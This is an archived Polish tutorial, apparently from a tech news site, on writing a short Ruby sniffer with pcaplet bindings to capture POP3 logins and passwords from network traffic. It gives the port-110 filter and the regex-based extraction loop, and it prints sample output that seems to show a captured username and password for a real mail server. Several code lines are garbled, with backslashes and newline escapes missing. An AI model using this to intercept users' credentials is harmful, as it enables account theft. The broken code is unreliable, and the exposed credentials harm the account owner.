Do czego jeszcze można użyć języków skryptowych? A do czego *nie* można? Dopiero niedawno miałem okazję poeksperymentować z dowiązaniami do… libpcap dla Ruby’ego. Wbrew pozorom jest to rozszerzenie bardzo użyteczne. Postaram się pokrótce opisać jak w kilku linijkach zbudować działający sniffer.

Skrypt rozpoczniemy od wywołania interpretera Ruby’ego oraz odwołania do rozszerzenia pcaplet:

  #!/usr/bin/env ruby  require 'pcaplet'  

Następnie utworzymy nowy objekt, pdump, będący instancją klasy Pcaplet. Możemy przy tym podać niektóre z opcji tcpdump. Niestety, -s 0 nie zadziała jak byśmy chcieli, dlatego podamy arbitralną wartość:

  pdump = Pcaplet.new('-s 2000')  

Okej. Co przechwytujemy? Hasła użytkowników korzystających z POP3? Nie ma sprawy:

  POP  = Pcap::Filter.new('tcp and dst port 110', pdump.capture)  pdump.add_filter(POP)  

Następnie mamy główną pętlę. Jak pamiętamy, |x| to coś w rodzaju foreach x:

  pdump.each_packet {|pkt|    data = pkt.tcp_data    case pkt    when (POP)  

Potrzebujemy jednak tylko dwóch rzeczy: nazwy użytkownika i hasła. Dobrze jest również znać nazwę hosta, z którym łączy się użytkownik. Użyjemy wyrażeń regularnych, w formie znanej z Perla:

      if data and data =~ /USERs+(S+)/  

Nasz obiekt pkt ma własność dst, zawierającą IP hosta, do którego jest skierowany pakiet. Użyjemy jeszcze metody to_s, dzięki której będziemy mogli zapoznać się z jego FQDN:

        print "hostname: "        print pkt.dst.to_s, "n"  

Khm, oczywiście nie zadziała to w przypadku serwerów udostępniających konta w różnych domenach na jednym IP.
Dalej mamy wywęszony login:

        usern = $1        print usern, "n"  

Analogicznie postępujemy z PASS. Po uruchomieniu sniffera i np. fetchmaila, powinniśmy otrzymać rezultat jak poniżej:

  [root@darkstar rp]# ./snp.rb  eth0: Promiscuous mode enabled.  hostname: poczta.onet.pl  korporacja  E><PERT  

Rzecz jasna przechwytywanie haseł w ten sposób ma sens niewielki, tym bardziej, że służą do tego inne, dobre narzędzia. Jednak wykorzystując tego typu rozwiązania można szybko stworzyć skuteczne programy dostosowane do naszych potrzeb, np. do wyłapywania pakietów określonego typu czy monitorowania sieci pod kątem jakiegoś zdarzenia. Poza tym nowsze wersje libpcap obsługują lokalny interfejs lo, dzięki czemu możemy uczyć się i eksperymentować do woli, nawt jeśli nie jesteśmy podłączeni do sieci.
Kompletny program można znaleźć tutaj.
Archiwalny news dodany przez użytkownika: arturs.
Kliknij tutaj by zobaczyć archiwalne komentarze.

Oznaczone jako → 
Share →